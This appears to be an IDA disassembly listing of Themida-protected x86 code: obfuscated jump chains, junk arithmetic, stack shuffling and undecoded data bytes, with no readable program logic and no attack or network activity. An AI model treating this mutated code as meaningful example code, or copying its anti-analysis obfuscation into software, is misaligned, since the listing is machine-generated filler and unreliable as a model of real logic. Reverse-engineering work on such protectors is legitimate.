		dd offset aQ_0		; "╠^Л\a÷"
		dd 4EC8300h, 0E9241C89h, 928Eh,	66D88A59h, 8324048Bh, 0C8904ECh
		dd 0C8B5424h, 4C48124h,	53000000h, 4FF3E9h, 0BCC18100h
		dd 2DFEBFFBh, 2A8D08A2h, 0A205C801h, 0E92A8D08h, 563Dh
		dd 8704C583h, 0A4E9242Ch
		db 0C6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_548A07:				; CODE XREF: Themida_:00554230j
		mov	al, 0F7h
		inc	al
		xchg	bl, al
		jmp	loc_54AA3D
; ---------------------------------------------------------------------------

loc_548A12:				; CODE XREF: Themida_:0054F437j
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], cx
		jmp	loc_54BC52
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 4EC8358h,	54242C89h, 4BE565Dh, 1000000h
		dd 49A6E9F5h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548A3E:				; CODE XREF: Themida_:0054A6BEj
		mov	ecx, 2FCD3CADh
		sub	edx, ecx
		pop	ecx
		jmp	loc_554B87
; ---------------------------------------------------------------------------

loc_548A4B:				; CODE XREF: Themida_:0054D307j
		dec	al
		add	al, 9
		xor	bh, al
		pop	eax
		sub	dh, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55244A
; ---------------------------------------------------------------------------

loc_548A5F:				; CODE XREF: Themida_:00555616j
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_548A6E:				; CODE XREF: Themida_:005528A0j
		push	44A23B8Dh
		jmp	loc_549702
; ---------------------------------------------------------------------------

loc_548A78:				; CODE XREF: Themida_:0054D3C8j
		sub	ebx, 429955FBh
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_55426C
; ---------------------------------------------------------------------------

loc_548A87:				; CODE XREF: Themida_:0054DE9Dj
		not	edx
		or	edx, 49244A05h
		add	edx, 0C6A28BF8h
		add	esi, edx
		jmp	loc_55375F
; ---------------------------------------------------------------------------

loc_548A9C:				; CODE XREF: Themida_:00548ECAj
		xor	[esp], ecx
		jmp	loc_548D0E
; ---------------------------------------------------------------------------

loc_548AA4:				; CODE XREF: Themida_:0054A428j
		and	bl, 8Ah
		sub	bl, 62h
		xor	dh, bl
		pop	ebx
		push	ecx
		mov	ch, dh
		mov	ah, ch
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		sub	ah, 5Bh
		jmp	loc_54AEBC
; ---------------------------------------------------------------------------

loc_548AC1:				; CODE XREF: Themida_:00555C14j
		pop	esp
		jmp	loc_54BA81
; ---------------------------------------------------------------------------

loc_548AC7:				; CODE XREF: Themida_:loc_551C44j
		dec	esi
		jp	loc_54F7CE
		dec	esi
		push	ebp
		mov	ebp, 48833EE9h
		xor	esi, ebp
		pop	ebp
		xor	esi, 0B5C2EEEh
		jmp	loc_54BAAF
; ---------------------------------------------------------------------------
		db 0BFh
		dd 1298187Fh, 4AE1E9h, 24043100h, 0BDF0E9h
		db 0
; ---------------------------------------------------------------------------

loc_548AF5:				; CODE XREF: Themida_:00555BDAj
		mov	edx, 63E3673Ch
		jmp	loc_54BE66
; ---------------------------------------------------------------------------

loc_548AFF:				; CODE XREF: Themida_:0054B21Cj
		pop	esi
		push	ebp
		jmp	loc_552F36
; ---------------------------------------------------------------------------

loc_548B06:				; CODE XREF: Themida_:005506F3j
		jmp	loc_54B078
; ---------------------------------------------------------------------------
		db 59h
		dd 0A52DF829h, 0E960DE67h, 0AC0Bh, 0E2CE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548B1E:				; CODE XREF: Themida_:0054EB68j
					; Themida_:00552EC5j
		add	edi, 4
		jmp	loc_54CE68
; ---------------------------------------------------------------------------

loc_548B29:				; CODE XREF: Themida_:00552445j
		or	edx, eax
		shl	edx, 1
		jmp	loc_54D1CA
; ---------------------------------------------------------------------------

loc_548B32:				; CODE XREF: Themida_:0054EE46j
		mov	esi, 223157B4h
		add	esi, 7522061Ch
		sub	esi, 97535DCCh
		add	eax, esi
		jmp	loc_54A6E7
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 4718h
; ---------------------------------------------------------------------------

loc_548B50:				; CODE XREF: Themida_:0054A93Fj
		mov	esp, [esp]
		push	64C2h
		mov	[esp], ebp
		mov	ebp, 100h
		and	eax, ebp
		jmp	loc_54F29A
; ---------------------------------------------------------------------------

loc_548B67:				; CODE XREF: Themida_:0054AB30j
					; Themida_:00551535j
		add	edx, 31787709h
		pop	edi
		jmp	loc_552C30
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C78100h, 57000000h, 42474FFh,	81243C8Bh, 4C4h
		dd 24048F00h, 2434FF5Ch, 0FF2434FFh, 83582434h,	0C48304C4h
		dd 8B545204h, 0C4832414h, 5843E904h, 840F0000h,	9C43h
		dd 0E902E6C1h, 0B25Fh, 4C481h, 82E90000h, 660000A3h, 6824048Bh
		dd 43DBh, 68240C89h, 3DF0h, 51242489h, 3478E9h
		db 0
; ---------------------------------------------------------------------------

loc_548BE1:				; CODE XREF: Themida_:00555AE4j
		add	ebp, esi
		pop	esi
		add	ebp, 2
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	33EFh
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, eax
		push	6577h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_555DF3
; ---------------------------------------------------------------------------

loc_548C14:				; CODE XREF: Themida_:0054D9B8j
		add	ebx, eax
		push	eax
		jmp	loc_5540B1
; ---------------------------------------------------------------------------

loc_548C1C:				; CODE XREF: Themida_:0054E9A7j
					; Themida_:005543C7j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	2548h
		mov	[esp], ebx
		jmp	loc_54CB0E
; ---------------------------------------------------------------------------
		db 0B2h, 7Eh, 80h
		dd 0E280ACC2h, 0B151502Eh, 3C18069h, 710A800Fh,	0E9800000h
		dd 80D9F6AEh, 0E9C0B1C1h, 9A880F08h, 80000071h,	0C8880BC1h
		dd 58C23059h, 5521E953h, 0E95A0000h, 795Fh
; ---------------------------------------------------------------------------

loc_548C78:				; CODE XREF: Themida_:00549F32j
		or	eax, eax
		jz	loc_5520AC
		push	dword ptr [edi+28h]
		mov	eax, [esp]
		push	524Eh
		jmp	loc_54D497
; ---------------------------------------------------------------------------
		dd 6658E520h, 205EB652h, 805A66F5h, 0AFE966C5h
		db 5Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548CA3:				; CODE XREF: Themida_:005547E6j
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54B00F
; ---------------------------------------------------------------------------
		dw 29B1h
		dd 0D9F6D9F6h, 8484850Fh, 0C1800000h, 0CB8853ECh, 1C8BD888h
		dd 1CF75824h, 33E99C24h
		db 97h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548CDB:				; CODE XREF: Themida_:0055237Fj
		push	139475D4h
		pop	ecx
		neg	ecx
		jmp	loc_54F7E1
; ---------------------------------------------------------------------------
		dd 1568h, 98ADE900h, 8B660000h,	0DE68240Ch, 89000053h
		dd 668243Ch, 5400002Ah,	5224048Fh, 6C46E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548D0E:				; CODE XREF: Themida_:00548A9Fj
		xor	ecx, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_553D43
; ---------------------------------------------------------------------------
		dd 0A245F3BBh, 5B5E5325h, 0E905EEC1h, 542h, 5C241C33h
		dd 7CA8E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548D5E:				; CODE XREF: Themida_:0054EFA5j
		sub	ebx, ecx
		add	ebx, 1BE44D6h
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54DF52
; ---------------------------------------------------------------------------
		db 0B9h
		dd 34D3503Ah, 4EC81h, 4890000h,	7608B824h, 0C131547Eh
		dd 0E9C82958h, 6A14h
; ---------------------------------------------------------------------------

loc_548D8C:				; CODE XREF: Themida_:005506CEj
		shr	ebp, 4
		and	ebp, 5BC456A1h
		push	esi
		mov	esi, 0FC44878h
		inc	esi
		jmp	loc_553091
; ---------------------------------------------------------------------------
aSfSs		db ',Иf[ИИ;',0
		align 2
aUh		db 'Uh╩`',0
		align 10h
		dd 0BF243C89h, 1BB56BE2h, 106BEF81h, 0FD89D1CFh, 0CF70E95Fh
		dd 0D8310000h, 5F3168h,	241C8900h, 81E18951h, 4C1h, 4E98300h
		dd 0E9240C87h, 0BBEBh
; ---------------------------------------------------------------------------

loc_548DE4:				; CODE XREF: Themida_:00551A17j
		add	ebp, 4
		jmp	loc_551A06
; ---------------------------------------------------------------------------
		dd 51E08950h, 487492B9h, 4E1C156h, 5C4E181h, 0D9F70D12h
		dd 1869E181h, 0E9537887h, 8A3Eh
; ---------------------------------------------------------------------------

loc_548E0C:				; CODE XREF: Themida_:0054BC2Dj
		neg	ebp
		jmp	loc_54A652
; ---------------------------------------------------------------------------
		db 0Fh
		dd offset byte_5C1A81
		dd 4DEA8100h, 0F57820Ch, 863381h
		db 0, 5Bh
; ---------------------------------------------------------------------------

loc_548E26:				; CODE XREF: Themida_:00552AC0j
		push	dword ptr [esp]
		pop	edi
		jmp	loc_554F43
; ---------------------------------------------------------------------------

loc_548E2F:				; CODE XREF: Themida_:0054E45Cj
		add	ebx, 199F6DDAh
		sub	ebx, 38F5E6Ah
		sub	ebx, edi
		add	ebx, 38F5E6Ah
		sub	ebx, 199F6DDAh
		jmp	loc_5530A7
; ---------------------------------------------------------------------------
		dw 0C329h
		dd 5BD80158h, 0E902C083h, 2E45h
; ---------------------------------------------------------------------------

loc_548E5C:				; CODE XREF: Themida_:0054B982j
		mov	ebp, 4BBD74D1h
		or	ebp, 3FB31015h
		not	ebp
		add	ebp, 662B7576h
		add	ebp, 4253000Eh
		sub	ebp, 28BF00AAh
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5521E9
; ---------------------------------------------------------------------------
		db 0Fh,	84h, 38h
		dd 0F7000057h, 0FB25E9DEh, 0F681FFFFh, 7AFBE5D1h, 815EF109h
		dd 99BF99C1h, 31C2059Ah, 0C8016012h, 1231C22Dh,	0FACBE960h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548EB2:				; CODE XREF: Themida_:0054DB9Fj
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		jmp	loc_548A9C
; ---------------------------------------------------------------------------

loc_548ECF:				; CODE XREF: Themida_:005522B2j
		mov	bh, 87h
		add	bh, 0DFh
		jmp	loc_553641
; ---------------------------------------------------------------------------

loc_548ED9:				; CODE XREF: Themida_:00550959j
		shl	cx, 7
		shr	cx, 3
		add	cx, 5A86h
		mov	dx, cx
		pop	ecx
		jmp	loc_55078B
; ---------------------------------------------------------------------------
		db 30h
		dd 81E9240Ch, 1000035h,	2434FFD7h, 4C4815Ah, 0E9000000h
		dd 2341h, 0FD0C981h, 0E1C1174Bh, 368B0F08h, 8100005Ah
		dd 114C5DF1h, 8BCA89BAh, 0C481240Ch, 4,	3DE9D329h, 0B600006Dh
		dd 7E6C0C7h, 0D6F6DEF6h, 28C2C680h, 0D0005AF0h,	8B664104h
		dd 0C4812414h, 2, 374DE9h, 0E6C38100h, 0F72A0177h, 6AE381DBh
		dd 5241FB02h, 7902B951h, 0E9811D3Fh, 6AE63939h,	6F2E9h
		dd 2C28100h, 87000000h,	0E95C2414h, 50C7h
; ---------------------------------------------------------------------------

loc_548F80:				; CODE XREF: Themida_:00549F6Bj
		xor	edx, eax
		jmp	loc_550440
; ---------------------------------------------------------------------------

loc_548F87:				; CODE XREF: Themida_:00549127j
		pop	edi
		inc	edi
		jge	loc_553AEB
		xor	edi, 2B4E47D5h
		jmp	loc_5548FD
; ---------------------------------------------------------------------------

loc_548F9A:				; CODE XREF: Themida_:00554AF7j
		add	edx, 4
		jmp	loc_54B729
; ---------------------------------------------------------------------------

loc_548FA5:				; CODE XREF: Themida_:00553C2Fj
		add	esi, 0F4CE234Ah
		mov	edx, esi
		jmp	loc_55160E
; ---------------------------------------------------------------------------
		dw 0C701h
		dd 58E8C781h, 48B186Ch,	4C48124h, 83000000h, 0FF5702C7h
		dd 8B042474h, 0C481243Ch, 4, 0E924048Fh, 3AEFh,	4BF5758h
		dd 1000000h, 53575FF8h,	5D4979BBh, 1DACE91Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548FF2:				; CODE XREF: Themida_:00555B0Bj
		push	ebx
		push	eax
		jmp	loc_549D47
; ---------------------------------------------------------------------------
		db 80h,	0F2h, 0B9h
		dd 0C05AD188h, 8B0F05E9h, 6EFAh, 0FF0F180h, 0A25088h, 9B4AE900h
		dd 6C010000h, 8E0F0424h, 1E65h
; ---------------------------------------------------------------------------

loc_549020:				; CODE XREF: Themida_:0054EFB0j
		jb	loc_54A644
		add	ebx, 477923Dh
		mov	esi, ebx
		pop	ebx
		add	esi, ebp
		pop	ebp
		jmp	loc_5533F9
; ---------------------------------------------------------------------------
aRYzhfsii	db 'R╨yzhfИi╘',0
		align 2

loc_549042:				; CODE XREF: Themida_:00549189j
					; Themida_:loc_54D930j
		jmp	loc_549D7D
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 83000000h,	2C3304EDh, 242C3124h, 5C242C33h
		dd 2217E9h
		db 0
; ---------------------------------------------------------------------------

loc_549061:				; CODE XREF: Themida_:0054CDEFj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	2611h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 549514E4h
		shr	edx, 6
		not	edx
		inc	edx
		sub	edx, 0FEADAB8Dh
		push	edx
		add	dword ptr [esp], 1E091B94h
		pop	eax
		sub	eax, 1E091B94h
		pop	edx
		add	eax, edi
		push	5521h
		mov	[esp], ebp
		mov	ebp, 1
		jmp	loc_54B6BB
; ---------------------------------------------------------------------------

loc_5490AA:				; CODE XREF: Themida_:00553DCFj
		add	edx, esi
		jmp	loc_549881
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0A095E9h, 63C78100h,	0E938246Ch, 0FEAh, 4EC1EF81h, 0C3817272h
		dd 496D6C8Ch, 7BE9FB01h, 0FF0000A7h, 0E9592434h, 92A4h
; ---------------------------------------------------------------------------

loc_5490E0:				; CODE XREF: Themida_:00553D23j
		pop	ecx
		jmp	loc_54CFD4
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 6201E95Ch, 0E3890000h, 4C381h, 17E90000h
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5490FF:				; CODE XREF: Themida_:0054F132j
		push	esp
		mov	ebx, [esp]
		jmp	loc_54FD72
; ---------------------------------------------------------------------------
		dd 0E9240489h, 7CAAh
; ---------------------------------------------------------------------------

loc_549110:				; CODE XREF: Themida_:00555F2Cj
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_549914
; ---------------------------------------------------------------------------

loc_54911A:				; CODE XREF: Themida_:0054F9E6j
		push	1E09h
		mov	[esp], edi
		push	5E0E7E59h
		jmp	loc_548F87
; ---------------------------------------------------------------------------

loc_54912C:				; CODE XREF: Themida_:00550C56j
		xor	ah, 34h
		or	dl, ah
		pop	eax
		sub	dl, 0F1h
		xor	dl, 34h
		xor	al, dl
		pop	edx
		push	edx
		push	bx
		jmp	loc_5528B1
; ---------------------------------------------------------------------------

loc_549143:				; CODE XREF: Themida_:0054BC9Cj
		or	edx, eax
		shl	edx, 1
		push	esi
		push	eax
		mov	eax, 6B7E6442h
		push	ebp
		jmp	loc_55286F
; ---------------------------------------------------------------------------

loc_549154:				; CODE XREF: Themida_:00551B6Aj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, 57961EF1h
		jmp	loc_54CDA5
; ---------------------------------------------------------------------------

loc_54916F:				; CODE XREF: Themida_:0054BE35j
		sub	eax, edi
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_549DCE
; ---------------------------------------------------------------------------

loc_549181:				; CODE XREF: Themida_:0054F981j
		neg	esi
		jns	loc_549940
		jmp	loc_549042
; ---------------------------------------------------------------------------
		dw 46E9h
		dd 89FFFFFDh, 4C281E7h,	57000000h, 4BFh, 9C0EE900h, 0C890000h
		dd 76B76824h, 4890000h,	0B5EFB024h, 1D4DE9CBh, 5A660000h
		dd 0C8BC830h, 0A86CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5491C6:				; CODE XREF: Themida_:0054A2DCj
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_54C472
; ---------------------------------------------------------------------------

loc_5491CF:				; CODE XREF: Themida_:loc_5517D0j
		or	ebp, 5E8345Eh
		jo	loc_54DB24
		push	6C4Fh
		jmp	loc_54F37D
; ---------------------------------------------------------------------------
		db 1, 0D7h, 5Ah
		dd 0E9240C8Bh, 0FFFFF983h
; ---------------------------------------------------------------------------

loc_5491F0:				; CODE XREF: Themida_:00552114j
		jp	loc_54B6A4
		dec	eax
		jmp	loc_550408
; ---------------------------------------------------------------------------
		dd 0D0F6C586h
		db 55h
; ---------------------------------------------------------------------------

loc_549201:				; CODE XREF: Themida_:00553CEEj
		sub	ebx, ebp
		jmp	loc_549EAA
; ---------------------------------------------------------------------------
aVhQ		db 'Vhгq',0
		align 2
aS_5		db 'Ии=',0
		db 0
; ---------------------------------------------------------------------------

loc_549213:				; CODE XREF: Themida_:005518AAj
		mov	ebp, esp
		push	esi
		mov	esi, 15B2749Ah
		sub	esi, 15B27496h
		jmp	loc_54EF04
; ---------------------------------------------------------------------------

loc_549226:				; CODE XREF: Themida_:00554DC1j
		push	ebp
		pop	eax
		mov	ebp, [esp]
		push	ecx
		jmp	loc_550909
; ---------------------------------------------------------------------------
		db 0F6h, 0DBh, 0E9h
		dd 3129h
; ---------------------------------------------------------------------------

loc_549238:				; CODE XREF: Themida_:00555D06j
		push	edi
		jmp	loc_550CE1
; ---------------------------------------------------------------------------

loc_54923E:				; CODE XREF: Themida_:loc_54C333j
		jmp	loc_552FBF
; ---------------------------------------------------------------------------

loc_549243:				; CODE XREF: Themida_:0054FCB0j
		mov	edx, 78177F69h
		jmp	loc_555B09
; ---------------------------------------------------------------------------

loc_54924D:				; CODE XREF: Themida_:0054F173j
		add	bl, 0B0h
		push	edx
		mov	dh, 0B8h
		add	bl, dh
		jmp	loc_54D3A6
; ---------------------------------------------------------------------------

loc_54925A:				; CODE XREF: Themida_:0054C9BAj
		jnz	loc_55381A
		jmp	loc_549F62
; ---------------------------------------------------------------------------
		db 5Eh,	0B4h, 0A7h
		db 0B4h, 0ECh
; ---------------------------------------------------------------------------

loc_54926A:				; CODE XREF: Themida_:0054DFB7j
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		jmp	loc_552D96
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 1C68303h, 8146DEF7h,	976E84EEh, 5EF729F6h, 8B243C87h
		dd 14892424h, 48B1BA24h, 0D0294C56h, 0E952565Ah, 0FFFFF679h
; ---------------------------------------------------------------------------

loc_5492C0:				; CODE XREF: Themida_:0055328Bj
		xchg	ebx, [esp]
		pop	esp
		sub	eax, 25457F79h
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54A14D
; ---------------------------------------------------------------------------

loc_5492E7:				; CODE XREF: Themida_:0054A70Ej
		xor	ebp, 68CE19E9h
		jmp	loc_54C19C
; ---------------------------------------------------------------------------
		dw 489h
		dd 4BD5524h, 55000000h,	0B0E95D58h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------

loc_549303:				; CODE XREF: Themida_:00555441j
		jmp	loc_5502A6
; ---------------------------------------------------------------------------

loc_549308:				; CODE XREF: Themida_:0054B60Bj
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_54E19C
; ---------------------------------------------------------------------------

loc_549313:				; CODE XREF: Themida_:0054B53Ej
		mov	[esp], esp
		push	edi
		push	4
		pop	edi
		add	[esp+4], edi
		pop	edi
		mov	ebx, [esp]
		jmp	loc_5544E5
; ---------------------------------------------------------------------------

loc_54932A:				; CODE XREF: Themida_:00554248j
		add	ecx, 0F63BD7A7h
		add	ebx, ecx
		pop	ecx
		and	ebx, 322639B4h
		add	ebx, 0DFDDC6D4h
		add	ecx, ebx
		jmp	loc_549C89
; ---------------------------------------------------------------------------
		dw 51B9h
		dd 81256C77h, 0C4D4CBC1h, 59C80912h, 5206E8C1h,	0E2ED77BAh
		dd 9088E900h, 555F0000h, 4F7DA6BDh, 5DE8017Eh, 79225E2Dh
		dd 2DD8F761h, 1507570Dh, 6F3BE9h, 243C3300h, 6624248Bh
		dd 5624048Bh, 24348B54h, 8304C483h, 5BE904ECh
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549397:				; CODE XREF: Themida_:0054FBD5j
		shr	bl, 6
		jmp	loc_555E07
; ---------------------------------------------------------------------------

loc_54939F:				; CODE XREF: Themida_:0054C1B1j
		push	ecx
		mov	ecx, 63A14168h
		push	esi
		mov	esi, 6CD40CCh
		neg	esi
		sub	esi, 3D7D11AEh
		shl	esi, 2
		sub	esi, 0FFFFFFFFh
		sub	esi, 9E285513h
		jmp	loc_5518AF
; ---------------------------------------------------------------------------

loc_5493C4:				; CODE XREF: Themida_:0054E91Fj
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_5493D5:				; CODE XREF: Themida_:0054E7F2j
		mov	[esp], eax
		push	21176F68h
		pop	eax
		shr	eax, 1
		xchg	eax, edx
		not	edx
		xchg	eax, edx
		push	eax
		not	dword ptr [esp]
		pop	eax
		inc	eax
		push	edx
		jmp	loc_552517
; ---------------------------------------------------------------------------
		dd 0C781CF01h, 6F1472F2h, 0B8C0E9h, 0C8B6600h, 61A96824h
		dd 3C890000h, 81E78924h, 4C7h, 472F6800h, 0BE90000h, 660000BDh
		dd 5524048Bh, 6A9768h, 24248900h, 4240483h, 6277685Dh
		dd 0C890000h, 4B924h, 21E90000h, 5A000020h, 897FE9h
		db 0
; ---------------------------------------------------------------------------

loc_549445:				; CODE XREF: Themida_:0054ACFDj
					; Themida_:00552893j
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dw 0E951h
		dd 14Ch
; ---------------------------------------------------------------------------

loc_549450:				; CODE XREF: Themida_:0054D7ECj
		mov	esp, [esp]
		jmp	loc_54DBD3
; ---------------------------------------------------------------------------

loc_549458:				; CODE XREF: Themida_:0055359Fj
		xchg	ecx, [esp]
		pop	esp
		or	ah, 25h
		dec	ah
		add	ah, 32h
		jmp	loc_54F93A
; ---------------------------------------------------------------------------
a1XsA		db '1гXИ*═',0
		db 0
; ---------------------------------------------------------------------------

loc_549471:				; CODE XREF: Themida_:00551F9Bj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_55097C
; ---------------------------------------------------------------------------

loc_549489:				; CODE XREF: Themida_:0054F53Cj
		add	dword ptr [esp], 4EB43BE4h
		pop	dword ptr [edi+20h]
		jmp	loc_54A3F7
; ---------------------------------------------------------------------------
		dd 2262E781h, 0EF83139Eh, 68B850FFh, 560E4E1Eh,	811A12BEh
		dd 2BD9E92Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5494B2:				; CODE XREF: Themida_:00549BE4j
		and	ecx, 3D4D7F05h
		add	ecx, 0D6F7D404h
		mov	ebx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 232323h
		add	edx, ebx
		pop	ebx
		add	edx, ebx
		sub	edx, 232323h
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		push	3566h
		mov	[esp], eax
		jmp	loc_552B60
; ---------------------------------------------------------------------------

loc_5494E6:				; CODE XREF: Themida_:0054FAE5j
		shr	eax, 4
		shl	eax, 4
		not	eax
		shr	eax, 7
		xor	eax, 1CD15A3h
		add	edi, eax
		pop	eax
		jmp	loc_554E57
; ---------------------------------------------------------------------------

loc_5494FE:				; CODE XREF: Themida_:005547B6j
		neg	eax
		jl	loc_54F7F7
		shr	eax, 6
		jmp	loc_54C225
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h
; ---------------------------------------------------------------------------

loc_549514:				; CODE XREF: Themida_:0054EEAEj
		push	bx
		jmp	loc_553581
; ---------------------------------------------------------------------------

loc_54951B:				; CODE XREF: Themida_:0054D0F1j
		shr	dh, 6
		push	ecx
		push	eax
		jmp	loc_55386E
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0Fh
		dd 0E979BF34h, 0FFFFFA21h
; ---------------------------------------------------------------------------

loc_549530:				; CODE XREF: Themida_:00550178j
		shl	ecx, 7
		push	eax
		jmp	loc_54EF56
; ---------------------------------------------------------------------------

loc_549539:				; CODE XREF: Themida_:0054EDE9j
		sub	esi, 1174058Dh
		jmp	loc_551988
; ---------------------------------------------------------------------------

loc_549544:				; CODE XREF: Themida_:loc_553E34j
		add	edx, 0CBDED77Fh
		sub	esp, 4
		mov	[esp], edx
		sub	dword ptr [esp], 52735CE6h
		pop	eax
		add	eax, 52735CE6h
		pop	edx
		jmp	loc_54D3C0
; ---------------------------------------------------------------------------

loc_549566:				; CODE XREF: Themida_:00549FF5j
		add	esp, 4
		or	eax, eax
		jz	loc_5527D3
		push	7662h
		jmp	loc_54AEC9
; ---------------------------------------------------------------------------
		dw 1EBFh
		dd 514E543Fh, 1D4999B9h, 59CF310Bh, 457CC781h, 0DFF70961h
		dd 0E955D7F7h, 98CFh, 7110E9B9h, 0C614E92Eh, 0BE560000h
		dd 2EB6E29h, 0CE81DEF7h, 6CEA6894h, 0A88E9h
		db 0
; ---------------------------------------------------------------------------

loc_5495B9:				; CODE XREF: Themida_:00552CACj
		pop	esp
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, 0C117C38h
		mov	esi, edx
		pop	edx
		and	esi, 30615676h
		jb	loc_551773
		shr	esi, 2
		js	loc_55244A
		jmp	loc_549B80
; ---------------------------------------------------------------------------

loc_5495F2:				; CODE XREF: Themida_:0054F4DBj
		jmp	loc_550556
; ---------------------------------------------------------------------------
		db 66h
		dd 50240C8Bh, 0BB53E089h, 4, 685BD801h,	11F0h, 0C59CE9h
		db 0
; ---------------------------------------------------------------------------

loc_549611:				; CODE XREF: Themida_:0055575Dj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, eax
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		push	eax
		mov	eax, ebp
		mov	ebx, eax
		jmp	loc_54A763
; ---------------------------------------------------------------------------

loc_549632:				; CODE XREF: Themida_:00551D89j
					; Themida_:0055427Dj
		xor	dword ptr [esp], 70274AFFh
		pop	eax
		jmp	loc_54F3F8
; ---------------------------------------------------------------------------
		db 89h
		dd 5A542414h, 9C9BE9h, 1C77FF00h, 6659669Dh, 9C2414D3h
		dd 0FFF2D0E9h, 71B4BFFFh, 3EE92422h, 0F000086h,	22808Eh
		dd 65C3E900h, 0E8290000h, 0FD8AFE8Ah
; ---------------------------------------------------------------------------

loc_549674:				; CODE XREF: Themida_:00551B92j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	eax, 1B217A63h
		push	7EB1h
		mov	[esp], ebp
		push	61DE3185h
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 93479FAh
		dec	ebx
		add	ebx, 7EC85C43h
		not	ebx
		jmp	loc_54DAD2
; ---------------------------------------------------------------------------

loc_5496AA:				; CODE XREF: Themida_:00553F68j
		mov	edi, 20C7E4Dh
		jmp	loc_549A80
; ---------------------------------------------------------------------------

loc_5496B4:				; CODE XREF: Themida_:00550419j
		not	dword ptr [esp]
		jmp	loc_54F14B
; ---------------------------------------------------------------------------
		dd 5C243487h, 4C681h, 0C6810000h, 2, 31243433h,	34332434h
		dd 0E1F65C24h, 0CCB60F66h, 14FE6866h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFFF239h, 3C34B850h, 539359B3h, 5B2414F7h
		dd 8038E993h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549702:				; CODE XREF: Themida_:00548A73j
		mov	esi, [esp]
		add	esp, 4
		mov	edx, 51423D9Ah
		jmp	loc_54E4A7
; ---------------------------------------------------------------------------

loc_549715:				; CODE XREF: Themida_:00551081j
		mov	edx, 0C222719h
		inc	edx
		xor	edx, 14875C93h
		jmp	loc_54C2F8
; ---------------------------------------------------------------------------
		dw 0D609h
